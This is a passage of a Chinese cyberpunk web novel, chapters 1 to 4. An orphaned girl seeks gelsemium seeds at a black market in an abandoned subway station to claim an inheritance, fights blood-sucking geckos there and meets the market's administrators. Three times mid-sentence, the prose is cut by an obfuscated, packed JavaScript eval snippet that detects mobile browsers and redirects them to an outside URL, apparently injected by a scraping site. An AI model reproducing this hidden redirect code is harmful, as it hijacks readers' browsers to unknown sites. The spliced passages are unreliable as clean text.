《我赛博种田能得五千万,你得过吗》 1. 息盘地铁站 “柏穗,你在想啥呢?” 柏穗对杨烁笑笑,嘴上说着“在想今天买什么菜”,脑子里却在对种田的事发愁。 穿越到这个赛博朋克的未来世界已经十多天,柏穗仍然没找到种田的正确打开方式。要知道这件事会严重影响到她下半辈子的幸福生活。 刚穿来那天,作为阅文无数的新世纪青年,柏穗迅速接受了穿越事实,正在研究神经手环的用法。 手环由政府分发给每位居民,两岁时植入在手腕皮下。通过手环,居民可以随时在脑中调出虚拟屏幕使用终端设备。 原主和柏穗同名同姓,留下的记忆破碎而分散,像是面被开了数枪的镜子。她只知道自己是谁,认识两家离得不近的邻居,外加一点点基本的生活常识,而神经手环的使用恰巧不包含在内。 “消息提醒设置到底在哪儿……”柏穗自言自语着,右手手环突然牵动皮肤振动,柏穗的神经仿佛也随之颤动,她瞬间起了鸡皮疙瘩。 柏穗立即调动手环,在眼前投射出一块仅自己可见的蓝色虚拟屏幕。一个备注为“符律师”的账号给柏穗发送了一份电子合同:“柏穗女士,这是您家人给您留的财产,请过目。” 合同内容首先就是零市远郊的一个小平房和半亩田转移到柏穗名下。 柏穗见过合同中的房和田,房她住着,二十来平,一个人住倒也绰绰有余;那田却是荒得很,连杂草都不长一根。 这个时代,她竟然还有一片荒田——这和没有有什么区别? 合同中还提到,未销号的家庭账户中留有财产五千万,但是需要柏穗达成一定条件才能继承。 “五千万!!!”通货膨胀让五千万的价值不比前世,但对于普通人来讲仍是一笔不小的数目。 柏穗告诉自己要冷静,即便有钱了,也是一个平平无奇小富婆而已,没什么大不了的。 她接着往下看,继承条件是“种出一株结出果的钩吻”,而且一定要在那半亩田里种出来。 钩吻,又叫断肠草,全身都是毒。传说中,神农氏尝遍百草,最终就是误食钩吻而死。 原主的家人为什么把条件设置为种出“钩吻”?柏穗实在想不通。 如果要找毒药,随便喝口雨水就行了。 柏穗透过管道望向天空,郊区的天空比市中心的稍稍蓝些,至少在这里能看到大片天空。但是一旦下起酸雨,两边的天空就没多大区别,暗黄阴沉,像腐烂的树叶。 种田,说起来还算容易。可是哪里能有种子卖?蔬菜瓜果,凡是泥土里种出的一切食物,都由铃兰庇护所提供。 土壤条件被酸雨破坏,除了少数适应存活的树木花草,人们的素食来源基本被断绝。 铃兰庇护所则掌握着严格保密的种植技术,克服了酸化的土壤条件,种出和过去相差无几的食物;同时在城市中设立多个定时供应点,让人们每天都能吃到新鲜的蔬菜。 听说有的城市大部分人只能通过营养膏来补充食谱中缺失的营养,零市居民则不需要,甚至市面上都没得卖。 这天早上七点,柏穗和邻居杨烁正乘坐飞铁,在从郊区赶往市区边界线。那里有铃兰庇护所指定的“062”供应点,每天上午九点准时闭市。 逐渐逼近市区,柏穗朝外看去,飞铁的透明管道错综缠绕着整个城市,像是被多条蛇盘裹的猎物。 这个仅从城市外观就能看出其混乱程度的时代,被称作“彗安”。 也许取名者也希望这个时代像彗星一样赶快划过天空,留下安定光明,可是谁知道彗星坠落时是碎片落在在大海还是人口密集区呢? 等到柏穗和杨烁到达“062”,已经有大批人排着十几条长龙了。 他们要么窃窃私语,要么看上去眼神发愣,表情却各不相同——其实是在使用手环,可能是在打游戏,也可能是在主流社交平台“道鸣”上发帖。 他们和柏穗一样,都来自郊区,没有市区居民会来“062”买菜。 零市的郊区,说白了其实是贫民区。供应点吝啬地安插在市区边缘,不肯往郊区进一步。 即便飞铁速度达到地铁平均速度的两倍,他们到“062”供应点也需要至少一个小时。一来一回,柏穗每天光在买菜上就必须花费超过两小时的时间。 隔天买?按周买?行不通。 铃兰庇护所提供的菜,保质期只有短短一天,今天买完,第二天太阳还没升起就坏了。 如果这样的日子持续下去,柏穗生命的十二分之一都将用在买菜上。 不过贫民嘛,有吃有住能活就行了。他们的时间哪有那么宝贵。 “念初!你早到啦!”柏穗朝某个队伍中间处的一个同龄女孩挥手,大喊道,引来周围人的瞩目。伍念初回头定位到柏穗的位置,也笑着回应。 “柏穗你小点声!”杨烁拍拍柏穗胳膊,柏穗无所谓地走到一个队伍最后面,杨烁也只能跟上去。 杨烁和伍念初家里的大人都在市区打工,早上买完菜带着菜上班实在不太像话,可放到公用储存柜几小时的价钱比飞铁来回还要贵,被偷的可能性也很大,只好让伍念初这些家里的孩子来买菜。 “062”有十几个摊位,每个摊位卖的东西都一样,摊主也都一样,都是同一类覆盖了类皮肤质感材料的人形机器。 第一次见到的时候柏穗以为它是真人,直到看到其它摊位十几个一模一样的复制品。 它们保持着统一弧度的微笑,每次看到它们的笑容,柏穗都感到头痛,神经像它们僵硬的嘴角一样被拉扯扭曲。 杨烁、伍念初、包括其余所有人都没有这种症状。 等了近三十分钟,终于排到柏穗。机器人嘴巴一开一合说话,声音却并不从嗓子里传出:“您好,您需要什么?” “一个番茄,一个鸡蛋,一小把青菜,二两猪肉,还有......”非植物类的商品供应点也卖,方便顾客一站式买全。 “好的。”身后传送带飞速运来柏穗要的东西,机器用力撑起嘴角露出微笑。 柏穗真想让它别假笑了,假笑的笑是假的,假笑的假也是假的。再多看一眼就要头痛得爆炸,她移开视线,忽然感到嗓子痒痒的,不禁捂住嘴咳嗽几下。 不出意外,手心又是一滩血渍。 她无视手中的鲜红,接过机器递来的袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389586|184218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,手腕触碰支付球,球幕立即显示“您已支付彗钞50.4”,随后站到一旁等待杨烁一起返回。 一路上柏穗紧紧捏着袋子没松手,直到下了飞铁,和杨烁告别后才松开。 柏穗不像杨烁和伍念初两家住得离飞铁那么近,她还要独自步行一段路程才能回到家。 柏穗现在的家,一栋小小的水泥房,除了一小洼水池,周围都是荒地,包括她的半亩田。 把菜放好,她边上课边透过厨房的窗口看着自己的土地。 一朝穿越,年龄和生活条件一同下降,前世计算机专业的她都快大学毕业了,在这个世界她年方十七。 彗安时代,大学之前没有线下集体学校,上课的视频早就录好,只要通过手环当天看完就行,作业同理。 买菜、上课、做作业,这就是家里有大人的孩子普通的一天。 家里没大人的柏穗拉上百叶窗,盘腿坐在沙发上安心听课。 理科的知识和前世大差不差,柏穗随便听听就行了;文科的知识,特别是历史,柏穗需要恶补。 但是在彗安时代之前,导致世界形态剧烈变动成为现今模样的历史事件,在各种资料上却都模模糊糊地一带而过。 这件四十多年前的事,柏穗也不是很关心,学到的时候稍稍疑惑便翻页了。 依赖碎片化的原主记忆,柏穗应付着和熟人的交流,学习着这个时代的生活方式,如今柏穗的生活也算安定下来。她总算可以认真考虑五千万......不是,种田的事了。 柏穗在最大社交平台“道鸣”上尝试过所有和“种子”“钩吻”相关的关键词,可是结果无一例外都没有她想要看到的种子购买渠道。 她只看到过失败的种植经历:有人从每天吃的蔬果里获取种子,但是没有人种植成功过。 然而身边只有符律师知晓这件事,柏穗也只能和她讨论。不是不信任伍念初和杨烁,只是多一事不如少一事。 “符律啊,我家人没给我留下种子什么的吗?” 符律师立刻发来冷冰冰的回复:“没有。” 这回手腕皮肤下没有传来振动,只是柏穗脑子里像被蚊子蛰了一下,痒痒的,挠又挠不到。 手环一定有什么问题,她想她得重新设置一下消息提醒方式。 柏穗见符律师这边没有出路,正想退出页面,符律师又发来信息:“不过据我所知,你可以到市区废弃地铁站‘息盘’去看看,每周三凌晨两点,那里可能有你想要的东西。” 这是黑市吧,一定是吧...... 她非要种这个田吗! 柏穗捋起两边袖子。不靠家人,不靠合同,不靠符律师,她,柏穗,难道就活不下去吗! ——您的账户余额:856.38彗钞。 将写着只够存活两个星期账户余额的页面移到一旁,柏穗默默在脑中打字:“我可是大大的良民,有没有什么合法途径啊?” “没有。” 周三夜里,柏穗乘坐末班飞铁来到市区。她迎着冷风站在“息盘”地铁站地面入口,最后看了眼和符律师的聊天界面,吸了吸鼻涕,关闭了手环地图。 2. 种子收藏家 地铁口锈得要断的铁栏杆上方,挂着上个时代的地铁标识灯,尽管褪色,柏穗还是能看出原本淡淡的粉色花朵图案。 一阵刺骨的狂风从后背吹来,再也不会亮起的标识灯随风摇晃。柏穗捂紧衣领,尽量不让风吹进,本来要打的哈欠也憋了回去,鼻子酸酸的。 眼前的地铁口敞着,即便在这样一个明月高照的夜晚,里面仍是黑洞洞的。倾斜的楼梯上凌乱散布着杂物甚至丢弃的垃圾,像息盘地铁站一样被丢弃在城市里。 废弃的息盘地铁站附近像是到了城市背面,霓虹灯不光顾这里,巨幕广告更是离得远远的。五光十色的钢筋森林中,地铁口暗暗地缩在一隅。 柏穗后悔没带照明设备,她原以为市区无论哪个角落都被电子光源污染到,不会有黑暗到看不清路的地方。 她小心穿过杂物和垃圾,快到平地时被不明硬物绊了一跤。 “嘶——”柏穗倒抽一口气,没摔倒在地,只是大腿外侧有些麻。 黑暗中,风小了许多,柏穗查看时间,凌晨两点二十,息盘地铁站内除了她就只有伸手不见五指的暗,好像什么都不存在。 突然,一个影子从身边窜过,带动柏穗的衣摆飘起。柏穗忍住惊呼,心脏“咚咚”撞击胸腔。 她维持着姿势没动,一直到四周安静无比,地面上断断续续踢易拉罐的声音经过头顶,随后渐渐减弱。 “那是什么?是人吗?为什么没有声音的?我该继续走吗?”柏穗在心中接连疑问。 没有人会回答她。 柏穗多想转头就走,光就在身后。但她还是鼓起勇气试探着往前迈步,双臂伸直了四处挥动。睁着眼睛在这种环境也没用处,就索性闭上眼。 “啪!”柏穗的手似乎碰到一个不软不硬的物体,她下意识把眼睛闭得更紧。 然而那物体说:“喂!走路小心点!” 柏穗一愣,她睁眼的瞬间,耳畔忽然涌入大片嘈杂的喧哗声。她一下子被人声和灯光包围。 那个被她“误伤”的路人左眼戴着眼罩,剃着寸头,看起来十分不好惹。他此刻压低眉头,露出的一只眼睛好似泛起凶光。 “抱歉抱歉!我没注意!”柏穗连连道歉,眼罩男见她年纪也不大,“哼”地一声就走了。 柏穗环顾四周,还是地铁站内部熟悉的构造。明明在黑暗中没走几步,但柏穗已经不在地铁口附近了。 站台两侧摆着地摊,摊主们叫卖着吸引顾客驻足。 “哎!看看,明代的瓷器!保真!假一赔十!” “新鲜的废弃机械臂,A级硬度改装材料,谁要!包新鲜的!不新鲜我吃......” 一个附近摊主注意到柏穗,朝她招呼:“这位小姐,您要看看小摊的随身武器吗?正适合您用!轻便锋利!在市里难免会遇到.....” 柏穗没听她说完就抱歉一笑,摆摆手走开,她没忘了此行的目标:买到钩吻的种子! 柏穗花几十分钟绕了一圈,却没看到卖种子的小摊。 又回到原地,她思考几秒钟,状似不经意踱到那个卖小型武器的摊前蹲下。这挑挑,那看看。 这个摊比别的摊小一圈,但摆着的物件可谓是五花八门,各式各样,新旧不一。其中最多的就是小短刀,甚至还有一两支手枪夹杂其中,旁边写着“不卖弹药”。 方才还热情招揽顾客的摊主不知是累了还是嗓子哑了,静静地看着柏穗的动作,没出声介绍商品。 柏穗随手抓起一个,问道: “这怎么卖?” “小姐您要打听什么就直说吧。” 两个人一同出声,柏穗猛地抬头,和双手撑着腰的摊主对视。 她也不尴尬,笑嘻嘻地说:“您真是好眼神啊哈哈哈哈。” “您是第一次来吧?我这摊在息盘入口这摆了十多年可不是白摆的,什么人有购买目标,什么人只是逛逛,我心里跟明镜似的。”摊主 柏穗奉上两个大拇指:“我想跟您打听一下,这里有没有卖种子的?就花花草草的种子。” 柏穗没直接讲出钩吻,买种子本就有些异于常人,买毒草种子就更加“惊世骇俗”。 “买种子?”摊主眉头皱起来,似乎有点为难,“买种子的人可不多见呐,这么多年你也只是我遇到的第二个。” 柏穗都要以为没戏了,摊主又道:“不过可能卖种子的人我确实知道一个......” 在柏穗重新燃起希望的目光中,摊主指了指一把弹簧刀:“这刀看着普通,但可以连接手环,具体什么功能,怎么连接,我还没发现。不知道有没有好奇的人想要呢?也不贵,就二百彗钞而已。” 摊主话说着,身体重心移到右腿上,左腿抖个不停。 柏穗顺着摊主手指的方向看去,那是一把手掌长的小刀,黑色刀柄上有一个浅色的三角形按键。她拿起摊主那把刀,在手上把玩检查:银色刀尖显而易见地锋利,刀面反射着地铁站的灯光,一丝划痕都找不到,握在手中分量和一个鸡蛋差不多。 但她心里清楚,大好的机会,不是卖不出去的东西,摊主是不会推荐给她的。什么能连接手环的刀,大概率是企业研发废品一把。 伍念初家里就有类似的武器,是根手臂大小的棍棒。据说研发初心是让它能和居民手环连接,不靠接触和遥控,直接通过人脑控制,使得棍棒以人力不能达到的速度发动攻击。 如果能实现,又是一大技术进步。但结果当然是失败了,有技术原因,也有使用者神经控制力达不到的原因,最终还是以普通棍棒的商品价格卖出。 她犹豫间,又听得摊主说:“不是我吹,你打听打听去,除了我,这里没第二个人知道种子哪儿有的卖。” 柏穗听出她的自信,认了命,但一下掏出余额四分之一还是有点肉疼,于是还价道:“一百五卖不卖。” “二百。” “一百七。” “二百。” “一百九。” “归您了。真有眼光。”摊主笑眯眯地讲,眼睛眯成一道月牙缝,柏穗从缝里看到狡诈的光芒和飞走的荤菜。 柏穗付过款,摊主把缩成半只笔大小的刀递给她:“挂腰上当个挂饰也不错。” 等她埋头处理好,摊主终于开了金口:“卖种子的人不在这里摆摊,我给你传个地址,你到那里去找他。” 柏穗和摊主手腕上下碰在一起,柏穗立刻收到一条匿名传送:“零市三区海冲旧路五层829号”。 她复制到地图上搜索,确实有这个地址,离地铁站有点远,便接着听摊主说:“找到他不难,只是向他买种子就有点难了。他是个狂热的种子收藏家,只藏不种。要是某类种子仅收藏有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389587|184218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一粒,他是说什么也不会卖的。” “自己种了结种子不行吗?”柏穗下意识说道。 摊主摇摇手指:“小姐,我看你种出东西的概率很低啊。要真这么好种,农作物还会被铃兰垄断吗?” 柏穗想想也是,叹息起自己的前路真是渺茫,继承财产的第一步就这么难,账户里的钱撑死也只够一个多星期花的,时间再长就要向伍念初和杨烁两家化缘了。 向摊主问了出口方向,柏穗才抬腿准备离开,摊主突然跨过摊拉住她的手腕:“你的腿受伤了?” 摊主不提,柏穗都快忘了,小伤而已,回去处理就行了。柏穗想这么说,可察觉摊主的声音有些不对,她便低头查看伤势。 难道很严重吗?没感觉啊。 不看不打紧,柏穗一看差点晕过去:一只壁虎大小的生物正趴在她的裤子上,长在头顶的三颗漆黑眼珠提溜着不知在看向哪里。 “这......是什么......” “你别动!”摊主稳住柏穗,“这是吸血守宫,它们闻到血腥味儿就会从阴暗处爬出来。在明亮的地方它们行动比较缓慢,动态视力下降,攻击性不强,就吸你点血而已,放心。” 什么叫“就吸点血而已”? 这只吸血守宫通体深绿,光滑的身体边缘又呈现半透明状态。摊主抓住柏穗手腕时它被惊得动了一下,此刻又静静吸附在柏穗裤子上。 它很轻,伤口处又一直麻木,不怪柏穗没察觉有这样一个生物附在自己身上吮吸自己的血液。 不过守宫为什么会吸血?有这个品种吗?没等柏穗细想,摊主单手解下挂在柏穗腰带上的小刀,顺手按下刀柄上的按键,按键周围发出一圈微弱白光:“拿手上防身。” “......不是说攻击性不强吗?” “这玩意儿只要出现,周围就一定不止一只了。成群的攻击性还是很可观的。你这么点伤还不足以吸引吸血守宫出现,地铁站里一定有人受了很严重的外伤。”摊主语速极快,她抄起摊边不起眼的手套,左右手都带上,慢慢接近吸血守宫,“你别动,我来处理。” 柏穗不敢大口呼吸,看着摊主双手距离吸血守宫仅几厘米时停顿了两秒,吸血守宫便受到什么刺激般立刻抽搐着脱离了柏穗,摊主迅速抓住吸血守宫,将它甩到地铁通道里。 “噗嗤”,血肉炸裂声淹没在人群的吵闹声中。 “呼——多谢!”吸血守宫貌似很脆弱嘛。柏穗紧绷的身体放松下来,感激地看向摊主。后者应该是在发消息,她胡乱揉了揉头发,像遇到了棘手的事情。柏穗观察她戴着的手套,和柏穗见过的烘培手套一样厚实,但材料并不柔软,也没有花里胡哨的花纹。 “先别谢,赶快离开这里。管理员很快就来清理。”发完信息,摊主边说边开始收拾她的小摊,其余摊主也似乎一一收到相关消息,纷纷开始赶顾客。 “您下次再来看吧,今天收摊了。快走吧。” “你这人怎么还赶客呢?” “实话告诉您,通知说是B级警告。” 仿佛为了证实他的话,地铁站广播在“刺啦——”一声后传来人声:“B级警告,请大家有序撤离,管理员很快抵达。” 这位顾客听罢顿时放弃纠缠,头也不回地朝出口方向跑去,谁知一转身,几只吸血守宫早已趴在他的背上。 3. 没电还能砍 “你背上有吸血守宫!”那个摊主惊呼提醒他。 这声惊呼像吸血守宫的号角,成群的吸血守宫开始从阴暗处爬到地面上,也有部分从头顶上掉下来的,落在人的脚边或者头顶。 一时间,地铁站从有序变成慌乱,人群忙不迭的往出口挤去,不乏有人被挤到正好缺少护栏的边缘,掉到地铁轨道上。 柏穗一惊,想去看那人的情况,摊主拦住了她:“你先管好自己吧。” 满地从各个方向冒出的吸血守宫虽然能被人轻易踩死,但是摊主告诉柏穗,直接用皮肤触碰吸血守宫的后背会中毒。 来买东西的很多人都没有趁手的工具,像摊主的手套那样能攻击又能防毒。贸然去抓守宫头部容易被它的三只眼睛发现,导致守宫躲开,除非能动作缓慢地靠近它。但这样四处混乱的半密闭空间里,很少有人能不被打断地将掉落在身上的吸血守宫拿走。 也有人看上去不是第一次遇到这种情况,神色较为冷静,掏出手枪或者刀具对接近自己的吸血守宫猛下狠手,地面上留下一滩滩深绿色的液体。 广播声、惊喊声、呼救声、开枪声还有刀具插入□□的声混杂在一起,组成一曲混乱的交响曲。 柏穗被摊主拉到护栏边上,这里远离出口,不算很拥堵。“拿稳刀,看到它后背的几道黄色弧线了吗?横着划开所有弧线,它就会死。”柏穗握着刀柄,视线从一个吸血守宫移到另一个,点点头。 “唉,送佛送到西。”摊主背上装满商品的破旧双肩包,“跟在我后面。” 柏穗心想,摆摊好像不是很赚钱。 但现在不是想这个的时候,她看到一个人浑身爬满了吸血守宫,脸部也逐渐被吸血守宫覆盖。 那人像站在绿色火焰中心,撕心裂肺地喊叫,期待有人能救他。他双腿摇摇晃晃地迈出几步,试图冲出火焰,最终还是“扑通”跪在地上,接着倒在地,没了动静。 她穿越以来,第一次亲眼目睹人类生命的流逝,仿佛是在提醒她,她某天也会和那人一样突然离开世界。 柏穗握着刀柄,指节绷紧发白。 但一定不会是今天! 毕竟五千万还等着她! “吸血守宫穿越不了出口。”摊主冷静地对柏穗说,让她跟紧点。出口在站台倒数第二个柱子处,那里一个接一个的人影消失在原地。 人相比一开始少了许多,有出去的,有被踩踏倒在路上的,有被吸血守宫围攻而亡的。 即便如此,还是有源源不断地吸血守宫冒出。一有守宫靠近,摊主就迅速落脚。掉落她们身上的也被摊主用手套逐一解决。 “你包上!”一只吸血守宫掉到摊主的背包上,柏穗抿着嘴,瞄准守宫背部,果断用刀划过那几道黄色弧线。 半透明的绿色血液溅落到柏穗手上,失去生命气息的吸血守宫“啪嗒”落地。 柏穗手控制不住地颤抖,不是因为害怕,而是因为接触到血液的小刀活过来一般,想要挣脱束缚跳出她的手心,而且颤抖得越来越厉害。 柏穗单手都快握不住刀柄,对前面的摊主喊道:“这刀绝对不对劲啊!” 摊主忙着处理扑面而来的守宫,头也不回地说:“打开手环。” 你这不是知道怎么用吗? 吐槽归吐槽,柏穗听话地打开设置了免打扰的手环,一条信息跳出:“小刀申请连接。” 犹豫了一下,柏穗点击确认,随即脑中神经像与某种接面融合,仿佛水流延淌出体外,浸润进小刀内部。 “滴。” 这种感觉过于奇妙,柏穗的手掌稍一放松,小刀就脱离了掌控,但是没有落地,而是悬浮在空中,随着柏穗的思想落点移动。 竟然不是废品吗?我以小人之心度“摊主”之腹了? 柏穗试探着指挥,短刀在神经的操控下配合着她移动,在空中划出蜿蜒的轨迹。 一只吸血守宫爬到柏穗脚边想要下口,她连忙控制小刀奔向吸血守宫,连她自己都没看清,小刀就已经刺入□□。 她清楚地感受到守宫体内的温热,就像和小刀共感,如果它也有感觉的话。 呜呼!指哪儿打哪儿!爽! 吸血守宫纷纷赶来给柏穗“练手”,柏穗很快就能熟练运用小刀进行攻击。不仅如此,她能感受到和小刀之间的隐秘连接似乎在不断加强。 越靠近出口,守宫越多。幸好有摊主抵挡了前方大部分的吸血守宫,不然就算有小刀加持,柏穗都不一定能在这种攻势下走远几步。 在摊主一米七几大高个的后面,好有安全感。柏穗 摊主注意到柏穗这边的情况,眉头挑起,似乎没料到她这么短的时间内就能掌控小刀。本来只是想让她试试看而已。 出口就剩几步时,柏穗正用得起劲,她收到手环强制跳出提醒:“小刀电量低,请及时充电。“ 没电了?小刀竟然是电力支持的? 柏穗正想可惜地收回刀,手环紧接着蹦出信息:“小刀牌小刀,没电还能砍。” 这时候就不要打广告了吧! “总算出来了。” 一分钟后,跨过出口,柏穗接下已经燃尽的小刀牌小刀。 她缩回刀片,琢磨小刀里应该是有一套动力系统,能通过小刀的运动发电。让小刀在电量已经很低的情况下还是能和柏穗的神经连接,撑过了最后一段路。只是动作肉眼可见地放慢了一些。 这种“慢”是相对的,比柏穗手动挥舞小刀仍然快了几倍。 “出来的人都哪儿去了?”明明穿过出口时感觉有很多人从身边经过,柏穗把小刀挂回腰间,看着眼前无人的脏乱楼梯问道。 “入口有很多。从哪里进入就会从哪里出去。”巧合的是,她俩恰是同一个入口进去的。摊主没多解释,上下扫过柏穗全身,“你看起来没事儿。” “好得很!” 话音未落,柏穗像被空气呛住了,猛咳起来。她弓起腰,双手死死捂着嘴,脸颊肉被挤得微微凸起。 摊主等她平静下来,抓住她的手,摊开手心:“咳血,你中毒了?” “不是不是,我是……” “谁中毒了?”两个穿着海军蓝棒球服外套的人匆匆赶来,其中一个人“嗖”地进了地铁站,另一个停在柏穗身边询问道。 “我没……”柏穗后退一步。她的目光突然盯住棒球服上一个反光的东西,看上去是一个宝蓝色徽章。光线实在太差,她辨不真切。 柏穗的目光往上移,棒球服男过于瘦削的脸上,一双下垂型的眼睛正看着摊主。他说:“于姐,你带出来的人还能中毒啊。” “我没中毒,我是有病!”柏穗急着为自己辩解。 棒球服男叫赵甫,他挎着腰包,拿了一个照明设备临时按在墙上。这下柏穗看清徽章,盾牌形状,的确是明亮的宝蓝色,上面似乎有形似叶子的图案,她总感觉在哪儿碰见过。 “就只有手套,小刀她用着。“摊主举起厚实的手套朝棒球服男晃了晃,掌心处有两圈金属。她摘下手套塞到背包侧面。 摊主自从发现吸血守宫后就像换了个人,不笑了也不狡诈了更不狡诈地笑了,话也少了,一路上冷静无比,好像经常经历类似的事情已经习以为常。 赵甫随即用一种“你真菜”的眼神看向柏穗,然而目光中又带着一丝惊异和探究。 “第一次用,不错了。”摊主说。 “呵,管你有没有病都得检查一下,不能传出去。”赵甫先递了张纸给柏穗擦干净手心的血迹和皮肤上被溅上的绿色液体。 “噫......”自己的血迹好擦,柏穗身上的吸血守宫的血液则半干在肌肤上,黏答答像绿色鼻涕。 “扔这里。”回收了脏纸,赵甫从腰包找出一个类似放大镜的小玩意儿,对着柏穗的手腕按下。 “这是什么?” “医用检测仪器。”赵甫说。 仪器上,一个红色光点一圈一圈绕着圆形玻璃周围转悠,赵甫盯着中间的玻璃:“体温......脉搏......血压......血压有点儿低,不过这不算症状。” 柏穗也盯着看,但什么也没看出来。 难不成这个仪器也是和他神经连接的? 这个人,还有摊主,他们到底什么来头?好像人人都有这种市面上不存在的工具。 思考间,赵甫放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389588|184218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回检测器:“应该没中毒,你确实只是有病。” 摊主朝他使了个眼色,他又说:“噢,噢......不过吧,这个中毒也有时延。这样,你加我个好友,后续有什么问题来联系我。” “这不好吧,太麻烦了。” “嗐,这是我们管理员应该做的。” 赵甫朝摊主点头:“那我去帮鲁鸢。” “不用,解决了。”一个人影走出黑暗,她和赵甫的穿着一模一样。看到摊主,她眼睛一亮:“哟,于姐也在。” “小鸢。” “这是谁?”鲁鸢看向柏穗。 “顾客。我把小刀卖给她了。” “你真舍得。”鲁鸢注视着柏穗腰间的小刀,撇撇嘴角。 “怀念过去对现在和将来都没有好处。” 柏穗闻到空中一股酸溜溜的气味,气味源头叫她:“喂,你叫什么?” “柏穗。” 鲁鸢手撑下巴说:“名字倒不错。” 她直视着柏穗:“我叫鲁鸢,地下市场管理员。” 地下市场......说白了就是黑市吧。 柏穗点点脑袋,眼睛移向摊主。 “你不说点什么吗?”摊主和她对视上,从她的眼神中读出这句话。 “咳。”摊主转过头,“于静岳。” “你也是管理员?” “不是。”于静岳回答道,另外两人默不作声。柏穗眼神在三人中来回转,看出这里头有故事,但很识趣地没多问。 有了照明设备,楼梯这段磕磕绊绊的路就不足为惧。柏穗凭记忆找到划伤她的器具,确认上面没生锈。 她回头,怪不得地铁口看上去黑得深不见底,原来是被人为封住了。 到了地面上,和鲁、于两人加过好友,柏穗才想起来,好奇地问鲁鸢:“那么多吸血守宫,你是怎么解决的?” “用火烧,像这样。”鲁鸢抬手,凭空生出一股火焰。 “哇——”等等,这不是赛博朋克世界吗?怎么还有异能这种东西? “改造过。”鲁鸢得意地伸着手说,她的手看起来和平常的人手无异。 原来是赛博格。 赛博格,是指用机械等无机物代替部分身体,动作仍由主体思想控制的人或动物。 在柏穗的印象中,赛博格基本都是由于受伤被迫安装机械义体参与改造的。 于静岳大概三十多岁,鲁鸢和赵甫看着比柏穗大不了多少,二十出头的样子。两个人年纪轻轻就能作为黑市管理员迅速处理好刚才那种场面。 她的眼神暗了下去。 “你们找到血源了吗?”于静岳问赵甫。 “嗯。一个被真理塔追击重伤的逃犯,进入地下市场估计是想引起混乱方便逃跑。正巧我们有人在市场伪装身份辅助调查另一个案子,将他逮捕了。现在正在转移到真理塔地下。”赵甫复述了一遍别人给他发来的B级警告事件处理报告。 真理塔,屹立在市中心的零市最高建筑,没有任何公共交通可以通向它。原主对它的印象似乎就是中央办公处,看来不仅如此。 操心完案件,于静岳又来操心柏穗:“你住哪儿?家里人知道你大半夜地跑来这儿吗?” “远郊。我家里就我一个。” 赵甫笑笑:“我们都差不多。” 凌晨四点,四孤儿未眠。天还没亮,零市已经渐渐有了动静。 三两路人时不时蒙着头路过,此处离市中心还有段距离,不少大大小小的帮派横踞在附近。大家都不想惹事,除了走路和骑车的声音,交流声很少。 头顶蛇形缠绕的那些飞铁管道还未到上班时间,鲁鸢问柏穗:“你怎么回去?” “我等到六点‘062’供应点开市,买完菜再回去。” “让她到你们那睡会儿,我就不去了。”于静岳对鲁、赵两人讲。 她这一说,本来还挺精神的柏穗又想打哈欠了。 见两人有点犹疑,于静岳说:“不违反规定吧?” “你不去看看吗?”鲁鸢忍不住问道。 于静岳眼底柔和,微笑着回答:“我去就违反规定了吧?” 4. 诚邀你入职 于静岳最终还是没来。 “你们竟然还有正经办公地点?”一栋看起来普普通通的建筑下,柏穗对鲁鸢说。 由于是凌晨,门口静悄悄的,但是里面灯光亮着,能看到人影晃动。 鲁鸢走到大门旁的扫描仪下,机器用一种调皮的语气说道:“开始扫描——扫描完毕,一级管理员,鲁鸢,请进。” “我们看起来只配流浪吗?”赵甫则指指胸前宝蓝色徽章,点点棒球服袖子,“咱都是有编制的人好吗?” 柏穗:“好的。” “柏穗你先去扫描。”鲁鸢倚在已经自动敞开的门口,回头对柏穗讲。 柏穗仰头直视天花板上的扫描仪,它呈圆球状,没看见轨道,但是可以随意地移动。圆球中心有一个红色亮点,外壳时不时合上,像只筑巢在屋檐下的小鸟,正眨着眼睛看她。 柏穗边看着扫描仪来回移动,听着鲁鸢正色说:“地下市场空间经常会出现有攻击性的生物,我们其实是顺便管理市场秩序。事实上,那些生物也不止出现在地下市场。” “为什么不关闭那里呢?” “警告!非管理员不得入内!”扫描仪发出“哔哔”的报警声。 “我带来的,别吵!”鲁鸢对扫描仪大声喝道,随后回答柏穗的疑问,“一开始市场入口其实是在地铁站中心,后来真理塔派人试图堵住入口,不让人进入。但是入口跟真理塔对着干,真理塔堵,入口就往外移,直到入口变成了现在这样,真理塔才放弃了。 “既然入口存在,就无法阻止人进入。真理塔对地下市场的交易也是睁一只眼闭一只眼,只要不大肆宣传或者惹出大乱子,都是默认可以的。” 